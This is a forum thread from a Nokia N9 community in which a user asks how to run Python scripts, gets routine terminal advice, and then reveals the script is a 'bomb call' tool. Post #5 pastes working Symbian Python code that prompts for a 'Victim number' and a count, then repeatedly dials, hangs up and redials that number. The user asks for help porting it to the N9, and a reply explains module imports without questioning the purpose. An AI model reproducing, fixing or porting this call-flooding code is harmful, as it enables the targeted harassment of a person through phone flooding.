Reply
Thread Tools
Posts: 14 | Thanked: 4 times | Joined on Jan 2011
#1
i use Nokia N9. I read some topic that N9 can install python. I installed python for N9 by Terminal (apt-get install python) but after i cant play *.py or i dont know how to run.
i used Symbian, this OS run py file very easy. just install python pack, and click py.

Can you guide me how to use full python, espicial run py file from Nokia N9?

TKS!
 

The Following User Says Thank You to md07 For This Useful Post:
Moderator | Posts: 6,215 | Thanked: 6,400 times | Joined on Nov 2011
#2
in terminal type:
Code:
python /path/to/file.py
Just like any linux pc
 

The Following 2 Users Say Thank You to thedead1440 For This Useful Post:
marxian's Avatar
Posts: 2,448 | Thanked: 9,523 times | Joined on Aug 2010 @ Wigan, UK
#3
Usually, it is enough to simply enter the path to the file. So, if the path to the file is /home/user/my_script.py, just type that in the terminal and press enter. Sometimes, you may need to tell the shell to use the python environment, in which case you would type

Code:
python /home/user/my_script.py
In most cases, you won't need to do this, as the script will handle this for you.
__________________
'Men of high position are allowed, by a special act of grace, to accomodate their reasoning to the answer they need. Logic is only required in those of lesser rank.' - J K Galbraith

My website

GitHub
 

The Following 2 Users Say Thank You to marxian For This Useful Post:
Posts: 14 | Thanked: 4 times | Joined on Jan 2011
#4
Originally Posted by marxian View Post
Usually, it is enough to simply enter the path to the file. So, if the path to the file is /home/user/my_script.py, just type that in the terminal and press enter. Sometimes, you may need to tell the shell to use the python environment, in which case you would type

Code:
python /home/user/my_script.py
In most cases, you won't need to do this, as the script will handle this for you.
tks! i wll try later.

My py file (used good in Symbian S60) is a application which can call someone automatic, when they answer the application automatic hangup and call again...... maybe this app is bomb call
 

The Following User Says Thank You to md07 For This Useful Post:
Posts: 14 | Thanked: 4 times | Joined on Jan 2011
#5
i tried. in Terminal say error line 1: no modules name appuifw.

BTW, in my code of py application have one more module name "telephone".

So , how can i install module for this python app?


sr 4 my bad English

PS: my Py code i used in Python Symbian:

import appuifw
import telephone
import e32

soDTbomb = appuifw.query(u"Victim number?","text")
nm = appuifw.query(u"how much bomb:","number")

def handleCall((callState, number)):
if callState == telephone.EStatusConnected:
e32.ao_sleep(0.2)
telephone.hang_up()
e32.ao_sleep(0.7)
telephone.dial(soDTbomb)
e32.ao_sleep(0.2)
telephone.call_state(handleCall)

for PS in range(nm):
print "(^_^)Bombed %d"%(PS+1)
telephone.dial(soDTbomb)
try:
e32.ao_sleep(0.7)
telephone.dial(soDTbomb)
except:
telephone.call_state(handleCall)
e32.ao_sleep(40)
telephone.hang_up()
e32.ao_sleep(0.7)
print "Done %d call."%(PS+1)

Last edited by md07; 2013-04-02 at 04:34.
 

The Following User Says Thank You to md07 For This Useful Post:
Community Council | Posts: 4,920 | Thanked: 12,867 times | Joined on May 2012 @ Southerrn Finland
#6
In python language the "import" statement loads a code module for use, so you need to get the modules from somewhere.

I kind of guess that this "telephone" module is something that needs to be ported to the platform you are using, it propably does not exist for Harmattan yet.
 

The Following 2 Users Say Thank You to juiceme For This Useful Post:
Posts: 14 | Thanked: 4 times | Joined on Jan 2011
#7
Originally Posted by juiceme View Post
In python language the "import" statement loads a code module for use, so you need to get the modules from somewhere.

I kind of guess that this "telephone" module is something that needs to be ported to the platform you are using, it propably does not exist for Harmattan yet.
did u know module same as "appuifw" and "telephone" for Harmattan?
 
Reply

Thread Tools

 
Forum Jump


All times are GMT. The time now is 00:04.